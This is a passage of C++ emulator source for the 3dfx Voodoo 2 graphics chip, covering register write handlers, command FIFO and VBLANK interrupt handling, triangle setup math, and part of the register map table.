//------------------------------------------------- u32 voodoo_2_device::reg_cmdfifoholes_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0)) { m_reg.write(regnum, data); m_cmdfifo.set_holes(data); } return 0; } //------------------------------------------------- // reg_fbiinit5_7_w -- fbiInit5/6/7 register write //------------------------------------------------- u32 voodoo_2_device::reg_fbiinit5_7_w(u32 chipmask, u32 regnum, u32 data) { if (BIT(chipmask, 0) && m_init_enable.enable_hw_init()) { u32 delta = m_reg.read(regnum) ^ data; m_reg.write(regnum, data); // a few bits affect video memory configuration if ((regnum == voodoo_regs::reg_fbiInit5 && BIT(delta, 9, 2) != 0) || (regnum == voodoo_regs::reg_fbiInit6 && BIT(delta, 30, 1) != 0)) { m_renderer->wait("reg_fbiinit5_7_w"); recompute_video_memory(); } m_cmdfifo.set_enable(m_reg.fbi_init7().cmdfifo_enable()); m_cmdfifo.set_count_holes(!m_reg.fbi_init7().disable_cmdfifo_holes()); } return 0; } //------------------------------------------------- // reg_draw_tri_w -- sDrawTri register write //------------------------------------------------- u32 voodoo_2_device::reg_draw_tri_w(u32 chipmask, u32 regnum, u32 data) { return draw_triangle(); } //------------------------------------------------- // reg_begin_tri_w -- sBeginTri register write //------------------------------------------------- u32 voodoo_2_device::reg_begin_tri_w(u32 chipmask, u32 regnum, u32 data) { return begin_triangle(); } //------------------------------------------------- // cmdfifo_register_w -- handle a register write // from the cmdfifo //------------------------------------------------- u32 voodoo_2_device::cmdfifo_register_w(u32 offset, u32 data) { u32 chipmask = chipmask_from_offset(offset); u32 regnum = BIT(offset, 0, 8); return m_regtable[regnum].write(*this, chipmask, regnum, data); } //------------------------------------------------- // cmdfifo_2d_w -- handle a 2D register write // from the cmdfifo //------------------------------------------------- u32 voodoo_2_device::cmdfifo_2d_w(u32 offset, u32 data) { u32 regnum = voodoo_regs::reg_bltSrcBaseAddr + offset; return m_regtable[regnum].write(*this, 0x1, regnum, data); } //------------------------------------------------- // vblank_start -- timer callback for the start // of VBLANK //------------------------------------------------- void voodoo_2_device::vblank_start(void *ptr, s32 param) { voodoo_1_device::vblank_start(ptr, param); // signal PCI VBLANK rising IRQ on Voodoo-2 and later if (m_reg.intr_ctrl().vsync_rising_enable()) { m_reg.clear_set(voodoo_regs::reg_intrCtrl, reg_intr_ctrl::EXTERNAL_PIN_ACTIVE, reg_intr_ctrl::VSYNC_RISING_GENERATED); if (!m_pciint_cb.isnull()) m_pciint_cb(true); } } //------------------------------------------------- // vblank_stop -- timer callback for the end of // VBLANK //------------------------------------------------- void voodoo_2_device::vblank_stop(void *ptr, s32 param) { voodoo_1_device::vblank_stop(ptr, param); // signal PCI VBLANK falling IRQ on Voodoo-2 and later if (m_reg.intr_ctrl().vsync_falling_enable()) { m_reg.clear_set(voodoo_regs::reg_intrCtrl, reg_intr_ctrl::EXTERNAL_PIN_ACTIVE, reg_intr_ctrl::VSYNC_FALLING_GENERATED); if (!m_pciint_cb.isnull()) m_pciint_cb(true); } } //------------------------------------------------- // recompute_video_memory -- compute the layout // of video memory //------------------------------------------------- void voodoo_2_device::recompute_video_memory() { // for backwards compatibility, the triple-buffered bit is still supported u32 config = m_reg.fbi_init2().enable_triple_buf(); // but if left at 0, configuration comes from fbiInit5 instead if (config == 0) config = m_reg.fbi_init5().buffer_allocation(); // 6-bit tile count is assembled from various bits; tiles are 32x32 u32 xtiles = m_reg.fbi_init6().x_video_tiles_bit0() | (m_reg.fbi_init1().x_video_tiles() << 1) | (m_reg.fbi_init1().x_video_tiles_bit5() << 5); recompute_video_memory_common(config, xtiles * 32); } //------------------------------------------------- // begin_triangle - execute the 'beginTri' // command //------------------------------------------------- s32 voodoo_2_device::begin_triangle() { // extract setup data auto &sv = m_svert[2]; sv.x = m_reg.read_float(voodoo_regs::reg_sVx); sv.y = m_reg.read_float(voodoo_regs::reg_sVy); sv.wb = m_reg.read_float(voodoo_regs::reg_sWb); sv.w0 = m_reg.read_float(voodoo_regs::reg_sWtmu0); sv.s0 = m_reg.read_float(voodoo_regs::reg_sS_W0); sv.t0 = m_reg.read_float(voodoo_regs::reg_sT_W0); sv.w1 = m_reg.read_float(voodoo_regs::reg_sWtmu1); sv.s1 = m_reg.read_float(voodoo_regs::reg_sS_Wtmu1); sv.t1 = m_reg.read_float(voodoo_regs::reg_sT_Wtmu1); sv.a = m_reg.read_float(voodoo_regs::reg_sAlpha); sv.r = m_reg.read_float(voodoo_regs::reg_sRed); sv.g = m_reg.read_float(voodoo_regs::reg_sGreen); sv.b = m_reg.read_float(voodoo_regs::reg_sBlue); // spread it across all three verts and reset the count m_svert[0] = m_svert[1] = sv; m_sverts = 1; return 0; } //------------------------------------------------- // draw_triangle - execute the 'DrawTri' // command //------------------------------------------------- s32 voodoo_2_device::draw_triangle() { // for strip mode, shuffle vertex 1 down to 0 if (!m_reg.setup_mode().fan_mode()) m_svert[0] = m_svert[1]; // copy 2 down to 1 regardless m_svert[1] = m_svert[2]; // extract setup data auto &sv = m_svert[2]; sv.x = m_reg.read_float(voodoo_regs::reg_sVx); sv.y = m_reg.read_float(voodoo_regs::reg_sVy); sv.wb = m_reg.read_float(voodoo_regs::reg_sWb); sv.w0 = m_reg.read_float(voodoo_regs::reg_sWtmu0); sv.s0 = m_reg.read_float(voodoo_regs::reg_sS_W0); sv.t0 = m_reg.read_float(voodoo_regs::reg_sT_W0); sv.w1 = m_reg.read_float(voodoo_regs::reg_sWtmu1); sv.s1 = m_reg.read_float(voodoo_regs::reg_sS_Wtmu1); sv.t1 = m_reg.read_float(voodoo_regs::reg_sT_Wtmu1); sv.a = m_reg.read_float(voodoo_regs::reg_sAlpha); sv.r = m_reg.read_float(voodoo_regs::reg_sRed); sv.g = m_reg.read_float(voodoo_regs::reg_sGreen); sv.b = m_reg.read_float(voodoo_regs::reg_sBlue); // if we have enough verts, go ahead and draw int cycles = 0; if (++m_sverts >= 3) cycles = setup_and_draw_triangle(); return cycles; } //------------------------------------------------- // setup_and_draw_triangle - process the setup // parameters and render the triangle //------------------------------------------------- s32 voodoo_2_device::setup_and_draw_triangle() { auto &sv0 = m_svert[0]; auto &sv1 = m_svert[1]; auto &sv2 = m_svert[2]; // compute the divisor, but we only need to know the sign up front // for backface culling float divisor = (sv0.x - sv1.x) * (sv0.y - sv2.y) - (sv0.x - sv2.x) * (sv0.y - sv1.y); // backface culling auto const setup_mode = m_reg.setup_mode(); if (setup_mode.enable_culling()) { int culling_sign = setup_mode.culling_sign(); int divisor_sign = (divisor < 0); // if doing strips and ping pong is enabled, apply the ping pong if (!setup_mode.fan_mode() && !setup_mode.disable_ping_pong_correction()) culling_sign ^= (m_sverts - 3) & 1; // if our sign matches the culling sign, we're done for if (divisor_sign == culling_sign) return TRIANGLE_SETUP_CLOCKS; } // compute the reciprocal now that we know we need it divisor = 1.0f / divisor; // grab the X/Ys at least m_reg.write(voodoo_regs::reg_vertexAx, s16(sv0.x * 16.0f)); m_reg.write(voodoo_regs::reg_vertexAy, s16(sv0.y * 16.0f)); m_reg.write(voodoo_regs::reg_vertexBx, s16(sv1.x * 16.0f)); m_reg.write(voodoo_regs::reg_vertexBy, s16(sv1.y * 16.0f)); m_reg.write(voodoo_regs::reg_vertexCx, s16(sv2.x * 16.0f)); m_reg.write(voodoo_regs::reg_vertexCy, s16(sv2.y * 16.0f)); // compute the dx/dy values float dx1 = sv0.y - sv2.y; float dx2 = sv0.y - sv1.y; float dy1 = sv0.x - sv1.x; float dy2 = sv0.x - sv2.x; // set up R,G,B float const argbzscale = 4096.0f; float const argbzdiv = argbzscale * divisor; if (setup_mode.setup_rgb()) { m_reg.write(voodoo_regs::reg_startR, s32(sv0.r * argbzscale)); m_reg.write(voodoo_regs::reg_dRdX, s32(((sv0.r - sv1.r) * dx1 - (sv0.r - sv2.r) * dx2) * argbzdiv)); m_reg.write(voodoo_regs::reg_dRdY, s32(((sv0.r - sv2.r) * dy1 - (sv0.r - sv1.r) * dy2) * argbzdiv)); m_reg.write(voodoo_regs::reg_startG, s32(sv0.g * argbzscale)); m_reg.write(voodoo_regs::reg_dGdX, s32(((sv0.g - sv1.g) * dx1 - (sv0.g - sv2.g) * dx2) * argbzdiv)); m_reg.write(voodoo_regs::reg_dGdY, s32(((sv0.g - sv2.g) * dy1 - (sv0.g - sv1.g) * dy2) * argbzdiv)); m_reg.write(voodoo_regs::reg_startB, s32(sv0.b * argbzscale)); m_reg.write(voodoo_regs::reg_dBdX, s32(((sv0.b - sv1.b) * dx1 - (sv0.b - sv2.b) * dx2) * argbzdiv)); m_reg.write(voodoo_regs::reg_dBdY, s32(((sv0.b - sv2.b) * dy1 - (sv0.b - sv1.b) * dy2) * argbzdiv)); } // set up alpha if (setup_mode.setup_alpha()) { m_reg.write(voodoo_regs::reg_startA, s32(sv0.a * argbzscale)); m_reg.write(voodoo_regs::reg_dAdX, s32(((sv0.a - sv1.a) * dx1 - (sv0.a - sv2.a) * dx2) * argbzdiv)); m_reg.write(voodoo_regs::reg_dAdY, s32(((sv0.a - sv2.a) * dy1 - (sv0.a - sv1.a) * dy2) * argbzdiv)); } // set up Z if (setup_mode.setup_z()) { m_reg.write(voodoo_regs::reg_startZ, s32(sv0.z * argbzscale)); m_reg.write(voodoo_regs::reg_dZdX, s32(((sv0.z - sv1.z) * dx1 - (sv0.z - sv2.z) * dx2) * argbzdiv)); m_reg.write(voodoo_regs::reg_dZdY, s32(((sv0.z - sv2.z) * dy1 - (sv0.z - sv1.z) * dy2) * argbzdiv)); } // set up Wb float const wscale = 65536.0f * 65536.0f; float const wdiv = wscale * divisor; auto &tmu0reg = m_tmu[0].regs(); auto &tmu1reg = m_tmu[1].regs(); if (setup_mode.setup_wb()) { s64 startw = s64(sv0.wb * wscale); s64 dwdx = s64(((sv0.wb - sv1.wb) * dx1 - (sv0.wb - sv2.wb) * dx2) * wdiv); s64 dwdy = s64(((sv0.wb - sv2.wb) * dy1 - (sv0.wb - sv1.wb) * dy2) * wdiv); m_reg.write_start_w(startw); m_reg.write_dw_dx(dwdx); m_reg.write_dw_dy(dwdy); tmu0reg.write_start_w(startw); tmu0reg.write_dw_dx(dwdx); tmu0reg.write_dw_dy(dwdy); tmu1reg.write_start_w(startw); tmu1reg.write_dw_dx(dwdx); tmu1reg.write_dw_dy(dwdy); } // set up W0 if (setup_mode.setup_w0()) { s64 startw = s64(sv0.w0 * wscale); s64 dwdx = s64(((sv0.w0 - sv1.w0) * dx1 - (sv0.w0 - sv2.w0) * dx2) * wdiv); s64 dwdy = s64(((sv0.w0 - sv2.w0) * dy1 - (sv0.w0 - sv1.w0) * dy2) * wdiv); tmu0reg.write_start_w(startw); tmu0reg.write_dw_dx(dwdx); tmu0reg.write_dw_dy(dwdy); tmu1reg.write_start_w(startw); tmu1reg.write_dw_dx(dwdx); tmu1reg.write_dw_dy(dwdy); } // set up S0,T0 float const stscale = 65536.0f * 65536.0f; float const stdiv = stscale * divisor; if (setup_mode.setup_st0()) { s64 starts = s64(sv0.s0 * stscale); s64 dsdx = s64(((sv0.s0 - sv1.s0) * dx1 - (sv0.s0 - sv2.s0) * dx2) * stdiv); s64 dsdy = s64(((sv0.s0 - sv2.s0) * dy1 - (sv0.s0 - sv1.s0) * dy2) * stdiv); s64 startt = s64(sv0.t0 * stscale); s64 dtdx = s64(((sv0.t0 - sv1.t0) * dx1 - (sv0.t0 - sv2.t0) * dx2) * stdiv); s64 dtdy = s64(((sv0.t0 - sv2.t0) * dy1 - (sv0.t0 - sv1.t0) * dy2) * stdiv); tmu0reg.write_start_s(starts); tmu0reg.write_start_t(startt); tmu0reg.write_ds_dx(dsdx); tmu0reg.write_dt_dx(dtdx); tmu0reg.write_ds_dy(dsdy); tmu0reg.write_dt_dy(dtdy); tmu1reg.write_start_s(starts); tmu1reg.write_start_t(startt); tmu1reg.write_ds_dx(dsdx); tmu1reg.write_dt_dx(dtdx); tmu1reg.write_ds_dy(dsdy); tmu1reg.write_dt_dy(dtdy); } // set up W1 if (setup_mode.setup_w1()) { s64 startw = s64(sv0.w1 * wscale); s64 dwdx = s64(((sv0.w1 - sv1.w1) * dx1 - (sv0.w1 - sv2.w1) * dx2) * wdiv); s64 dwdy = s64(((sv0.w1 - sv2.w1) * dy1 - (sv0.w1 - sv1.w1) * dy2) * wdiv); tmu1reg.write_start_w(startw); tmu1reg.write_dw_dx(dwdx); tmu1reg.write_dw_dy(dwdy); } // set up S1,T1 if (setup_mode.setup_st1()) { s64 starts = s64(sv0.s1 * stscale); s64 dsdx = s64(((sv0.s1 - sv1.s1) * dx1 - (sv0.s1 - sv2.s1) * dx2) * stdiv); s64 dsdy = s64(((sv0.s1 - sv2.s1) * dy1 - (sv0.s1 - sv1.s1) * dy2) * stdiv); s64 startt = s64(sv0.t1 * stscale); s64 dtdx = s64(((sv0.t1 - sv1.t1) * dx1 - (sv0.t1 - sv2.t1) * dx2) * stdiv); s64 dtdy = s64(((sv0.t1 - sv2.t1) * dy1 - (sv0.t1 - sv1.t1) * dy2) * stdiv); tmu1reg.write_start_s(starts); tmu1reg.write_start_t(startt); tmu1reg.write_ds_dx(dsdx); tmu1reg.write_dt_dx(dtdx); tmu1reg.write_ds_dy(dsdy); tmu1reg.write_dt_dy(dtdy); } // draw the triangle return triangle(); } //************************************************************************** // VOODOO 2 REGISTER MAP //************************************************************************** #define REGISTER_ENTRY(name, reader, writer, bits, chips, sync, fifo) \ { static_register_table_entry<voodoo_2_device>::make_mask(bits), register_table_entry::CHIPMASK_##chips | register_table_entry::SYNC_##sync | register_table_entry::FIFO_##fifo, #name, &voodoo_2_device::reg_##writer##_w, &voodoo_2_device::reg_##reader##_r }, #define RESERVED_ENTRY REGISTER_ENTRY(reserved, invalid, invalid, 32, FBI, NOSYNC, FIFO) #define RESERVED_ENTRY_x8 RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY RESERVED_ENTRY static_register_table_entry<voodoo_2_device> const voodoo_2_device::s_register_table[256] = { // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(status, status, invalid, 32, FBI, NOSYNC, FIFO) // 000 REGISTER_ENTRY(intrCtrl, passive, intrctrl, 32, FBI, NOSYNC, NOFIFO) // 004 - cmdFIFO mode REGISTER_ENTRY(vertexAx, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 008 REGISTER_ENTRY(vertexAy, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 00c REGISTER_ENTRY(vertexBx, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 010 REGISTER_ENTRY(vertexBy, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 014 REGISTER_ENTRY(vertexCx, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 018 REGISTER_ENTRY(vertexCy, invalid, passive, 16, FBI_TREX, NOSYNC, FIFO) // 01c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(startR, invalid, passive, 24, FBI, NOSYNC, FIFO) // 020 REGISTER_ENTRY(startG, invalid, passive, 24, FBI, NOSYNC, FIFO) // 024 REGISTER_ENTRY(startB, invalid, passive, 24, FBI, NOSYNC, FIFO) // 028 REGISTER_ENTRY(startZ, invalid, passive, 32, FBI, NOSYNC, FIFO) // 02c REGISTER_ENTRY(startA, invalid, passive, 24, FBI, NOSYNC, FIFO) // 030 REGISTER_ENTRY(startS, invalid, starts, 32, TREX, NOSYNC, FIFO) // 034 REGISTER_ENTRY(startT, invalid, startt, 32, TREX, NOSYNC, FIFO) // 038 REGISTER_ENTRY(startW, invalid, startw, 32, FBI_TREX, NOSYNC, FIFO) // 03c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(dRdX, invalid, passive, 24, FBI, NOSYNC, FIFO) // 040 REGISTER_ENTRY(dGdX, invalid, passive, 24, FBI, NOSYNC, FIFO) // 044 REGISTER_ENTRY(dBdX, invalid, passive, 24, FBI, NOSYNC, FIFO) // 048 REGISTER_ENTRY(dZdX, invalid, passive, 32, FBI, NOSYNC, FIFO) // 04c REGISTER_ENTRY(dAdX, invalid, passive, 24, FBI, NOSYNC, FIFO) // 050 REGISTER_ENTRY(dSdX, invalid, dsdx, 32, TREX, NOSYNC, FIFO) // 054 REGISTER_ENTRY(dTdX, invalid, dtdx, 32, TREX, NOSYNC, FIFO) // 058 REGISTER_ENTRY(dWdX, invalid, dwdx, 32, FBI_TREX, NOSYNC, FIFO) // 05c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(dRdY, invalid, passive, 24, FBI, NOSYNC, FIFO) // 060 REGISTER_ENTRY(dGdY, invalid, passive, 24, FBI, NOSYNC, FIFO) // 064 REGISTER_ENTRY(dBdY, invalid, passive, 24, FBI, NOSYNC, FIFO) // 068 REGISTER_ENTRY(dZdY, invalid, passive, 32, FBI, NOSYNC, FIFO) // 06c REGISTER_ENTRY(dAdY, invalid, passive, 24, FBI, NOSYNC, FIFO) // 070 REGISTER_ENTRY(dSdY, invalid, dsdy, 32, TREX, NOSYNC, FIFO) // 074 REGISTER_ENTRY(dTdY, invalid, dtdy, 32, TREX, NOSYNC, FIFO) // 078 REGISTER_ENTRY(dWdY, invalid, dwdy, 32, FBI_TREX, NOSYNC, FIFO) // 07c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(triangleCMD, invalid, triangle, 32, FBI_TREX, NOSYNC, FIFO) // 080 RESERVED_ENTRY // 084 REGISTER_ENTRY(fvertexAx, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 088 REGISTER_ENTRY(fvertexAy, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 08c REGISTER_ENTRY(fvertexBx, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 090 REGISTER_ENTRY(fvertexBy, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 094 REGISTER_ENTRY(fvertexCx, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 098 REGISTER_ENTRY(fvertexCy, invalid, fpassive_4, 32, FBI_TREX, NOSYNC, FIFO) // 09c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fstartR, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0a0 REGISTER_ENTRY(fstartG, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0a4 REGISTER_ENTRY(fstartB, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0a8 REGISTER_ENTRY(fstartZ, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0ac REGISTER_ENTRY(fstartA, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0b0 REGISTER_ENTRY(fstartS, invalid, fstarts, 32, TREX, NOSYNC, FIFO) // 0b4 REGISTER_ENTRY(fstartT, invalid, fstartt, 32, TREX, NOSYNC, FIFO) // 0b8 REGISTER_ENTRY(fstartW, invalid, fstartw, 32, FBI_TREX, NOSYNC, FIFO) // 0bc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fdRdX, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0c0 REGISTER_ENTRY(fdGdX, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0c4 REGISTER_ENTRY(fdBdX, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0c8 REGISTER_ENTRY(fdZdX, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0cc REGISTER_ENTRY(fdAdX, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0d0 REGISTER_ENTRY(fdSdX, invalid, fdsdx, 32, TREX, NOSYNC, FIFO) // 0d4 REGISTER_ENTRY(fdTdX, invalid, fdtdx, 32, TREX, NOSYNC, FIFO) // 0d8 REGISTER_ENTRY(fdWdX, invalid, fdwdx, 32, FBI_TREX, NOSYNC, FIFO) // 0dc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fdRdY, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0e0 REGISTER_ENTRY(fdGdY, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0e4 REGISTER_ENTRY(fdBdY, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0e8 REGISTER_ENTRY(fdZdY, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0ec REGISTER_ENTRY(fdAdY, invalid, fpassive_12, 32, FBI, NOSYNC, FIFO) // 0f0 REGISTER_ENTRY(fdSdY, invalid, fdsdy, 32, TREX, NOSYNC, FIFO) // 0f4 REGISTER_ENTRY(fdTdY, invalid, fdtdy, 32, TREX, NOSYNC, FIFO) // 0f8 REGISTER_ENTRY(fdWdY, invalid, fdwdy, 32, FBI_TREX, NOSYNC, FIFO) // 0fc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(ftriangleCMD, invalid, triangle, 32, FBI_TREX, NOSYNC, FIFO) // 100 REGISTER_ENTRY(fbzColorPath, passive, passive, 30, FBI_TREX, NOSYNC, FIFO) // 104 REGISTER_ENTRY(fogMode, passive, passive, 8, FBI_TREX, NOSYNC, FIFO) // 108 REGISTER_ENTRY(alphaMode, passive, passive, 32, FBI_TREX, NOSYNC, FIFO) // 10c REGISTER_ENTRY(fbzMode, passive, passive, 22, FBI_TREX, SYNC, FIFO) // 110 REGISTER_ENTRY(lfbMode, passive, passive, 17, FBI_TREX, SYNC, FIFO) // 114 REGISTER_ENTRY(clipLeftRight, passive, passive, 28, FBI_TREX, SYNC, FIFO) // 118 REGISTER_ENTRY(clipLowYHighY, passive, passive, 28, FBI_TREX, SYNC, FIFO) // 11c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(nopCMD, invalid, nop, 2, FBI_TREX, SYNC, FIFO) // 120 REGISTER_ENTRY(fastfillCMD, invalid, fastfill, 0, FBI, SYNC, FIFO) // 124 REGISTER_ENTRY(swapbufferCMD, invalid, swapbuffer, 10, FBI, SYNC, FIFO) // 128 REGISTER_ENTRY(fogColor, invalid, passive, 24, FBI, SYNC, FIFO) // 12c REGISTER_ENTRY(zaColor, invalid, passive, 32, FBI, SYNC, FIFO) // 130 REGISTER_ENTRY(chromaKey, invalid, passive, 24, FBI, SYNC, FIFO) // 134 REGISTER_ENTRY(chromaRange, invalid, passive, 29, FBI, SYNC, FIFO) // 138 REGISTER_ENTRY(userIntrCMD, invalid, userintr, 10, FBI, SYNC, FIFO) // 13c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(stipple, passive, passive, 32, FBI, SYNC, FIFO) // 140 REGISTER_ENTRY(color0, passive, passive, 32, FBI, SYNC, FIFO) // 144 REGISTER_ENTRY(color1, passive, passive, 32, FBI, SYNC, FIFO) // 148 REGISTER_ENTRY(fbiPixelsIn, stats, invalid, 24, FBI, NA, NA) // 14c REGISTER_ENTRY(fbiChromaFail, stats, invalid, 24, FBI, NA, NA) // 150 REGISTER_ENTRY(fbiZfuncFail, stats, invalid, 24, FBI, NA, NA) // 154 REGISTER_ENTRY(fbiAfuncFail, stats, invalid, 24, FBI, NA, NA) // 158 REGISTER_ENTRY(fbiPixelsOut, stats, invalid, 24, FBI, NA, NA) // 15c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fogTable[0], invalid, fogtable, 32, FBI, SYNC, FIFO) // 160 REGISTER_ENTRY(fogTable[1], invalid, fogtable, 32, FBI, SYNC, FIFO) // 164 REGISTER_ENTRY(fogTable[2], invalid, fogtable, 32, FBI, SYNC, FIFO) // 168 REGISTER_ENTRY(fogTable[3], invalid, fogtable, 32, FBI, SYNC, FIFO) // 16c REGISTER_ENTRY(fogTable[4], invalid, fogtable, 32, FBI, SYNC, FIFO) // 170 REGISTER_ENTRY(fogTable[5], invalid, fogtable, 32, FBI, SYNC, FIFO) // 174 REGISTER_ENTRY(fogTable[6], invalid, fogtable, 32, FBI, SYNC, FIFO) // 178 REGISTER_ENTRY(fogTable[7], invalid, fogtable, 32, FBI, SYNC, FIFO) // 17c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fogTable[8], invalid, fogtable, 32, FBI, SYNC, FIFO) // 180 REGISTER_ENTRY(fogTable[9], invalid, fogtable, 32, FBI, SYNC, FIFO) // 184 REGISTER_ENTRY(fogTable[10], invalid, fogtable, 32, FBI, SYNC, FIFO) // 188 REGISTER_ENTRY(fogTable[11], invalid, fogtable, 32, FBI, SYNC, FIFO) // 18c REGISTER_ENTRY(fogTable[12], invalid, fogtable, 32, FBI, SYNC, FIFO) // 190 REGISTER_ENTRY(fogTable[13], invalid, fogtable, 32, FBI, SYNC, FIFO) // 194 REGISTER_ENTRY(fogTable[14], invalid, fogtable, 32, FBI, SYNC, FIFO) // 198 REGISTER_ENTRY(fogTable[15], invalid, fogtable, 32, FBI, SYNC, FIFO) // 19c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fogTable[16], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1a0 REGISTER_ENTRY(fogTable[17], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1a4 REGISTER_ENTRY(fogTable[18], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1a8 REGISTER_ENTRY(fogTable[19], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1ac REGISTER_ENTRY(fogTable[20], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1b0 REGISTER_ENTRY(fogTable[21], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1b4 REGISTER_ENTRY(fogTable[22], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1b8 REGISTER_ENTRY(fogTable[23], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1bc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fogTable[24], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1c0 REGISTER_ENTRY(fogTable[25], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1c4 REGISTER_ENTRY(fogTable[26], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1c8 REGISTER_ENTRY(fogTable[27], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1cc REGISTER_ENTRY(fogTable[28], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1d0 REGISTER_ENTRY(fogTable[29], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1d4 REGISTER_ENTRY(fogTable[30], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1d8 REGISTER_ENTRY(fogTable[31], invalid, fogtable, 32, FBI, SYNC, FIFO) // 1dc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(cmdFifoBaseAddr, passive, cmdfifo, 26, FBI, SYNC, NOFIFO) // 1e0 - cmdFIFO mode REGISTER_ENTRY(cmdFifoBump, passive, unimplemented,16,FBI, SYNC, NOFIFO) // 1e4 - cmdFIFO mode REGISTER_ENTRY(cmdFifoRdPtr, cmdfifoptr, cmdfifoptr, 32, FBI, SYNC, NOFIFO) // 1e8 - cmdFIFO mode REGISTER_ENTRY(cmdFifoAMin, passive, cmdfifo, 32, FBI, SYNC, NOFIFO) // 1ec - cmdFIFO mode REGISTER_ENTRY(cmdFifoAMax, passive, cmdfifo, 32, FBI, SYNC, NOFIFO) // 1f0 - cmdFIFO mode REGISTER_ENTRY(cmdFifoDepth, cmdfifodepth,cmdfifodepth,16, FBI, SYNC, NOFIFO) // 1f4 - cmdFIFO mode REGISTER_ENTRY(cmdFifoHoles, cmdfifoholes,cmdfifoholes,16, FBI, SYNC, NOFIFO) // 1f8 - cmdFIFO mode RESERVED_ENTRY // 1fc // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(fbiInit4, passive, fbiinit, 32, FBI, NOSYNC, NOFIFO) // 200 REGISTER_ENTRY(vRetrace, vretrace, invalid, 13, FBI, NA, NA) // 204 REGISTER_ENTRY(backPorch, passive, video2, 25, FBI, NOSYNC, NOFIFO) // 208 REGISTER_ENTRY(videoDimensions, passive, video2, 27, FBI, NOSYNC, NOFIFO) // 20c REGISTER_ENTRY(fbiInit0, passive, fbiinit, 31, FBI, NOSYNC, NOFIFO) // 210 REGISTER_ENTRY(fbiInit1, passive, fbiinit, 32, FBI, NOSYNC, NOFIFO) // 214 REGISTER_ENTRY(fbiInit2, fbiinit2, fbiinit, 32, FBI, NOSYNC, NOFIFO) // 218 REGISTER_ENTRY(fbiInit3, passive, fbiinit, 32, FBI, NOSYNC, NOFIFO) // 21c // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(hSync, invalid, video2, 27, FBI, NOSYNC, NOFIFO) // 220 REGISTER_ENTRY(vSync, invalid, video2, 29, FBI, NOSYNC, NOFIFO) // 224 REGISTER_ENTRY(clutData, invalid, clut, 30, FBI, NOSYNC, NOFIFO) // 228 REGISTER_ENTRY(dacData, invalid, dac, 14, FBI, NOSYNC, NOFIFO) // 22c REGISTER_ENTRY(maxRgbDelta, invalid, unimplemented,24,FBI, NOSYNC, NOFIFO) // 230 REGISTER_ENTRY(hBorder, invalid, unimplemented,25,FBI, NOSYNC, NOFIFO) // 234 - cmdFIFO mode REGISTER_ENTRY(vBorder, invalid, unimplemented,25,FBI, NOSYNC, NOFIFO) // 238 - cmdFIFO mode REGISTER_ENTRY(borderColor, invalid, unimplemented,24,FBI, NOSYNC, NOFIFO) // 23c - cmdFIFO mode // name rd handler wr handler bits chips sync? fifo? REGISTER_ENTRY(hvRetrace, hvretrace, invalid, 27, FBI, NA, NA) // 240 REGISTER_ENTRY(fbiInit5, passive, fbiinit5_7, 32, FBI, NOSYNC, NOFIFO) // 244 - cmdFIFO mode REGISTER_ENTRY(fbiInit6, passive, fbiinit5_7, 31, FBI, NOSYNC, NOFIFO) // 248 - cmdFIFO 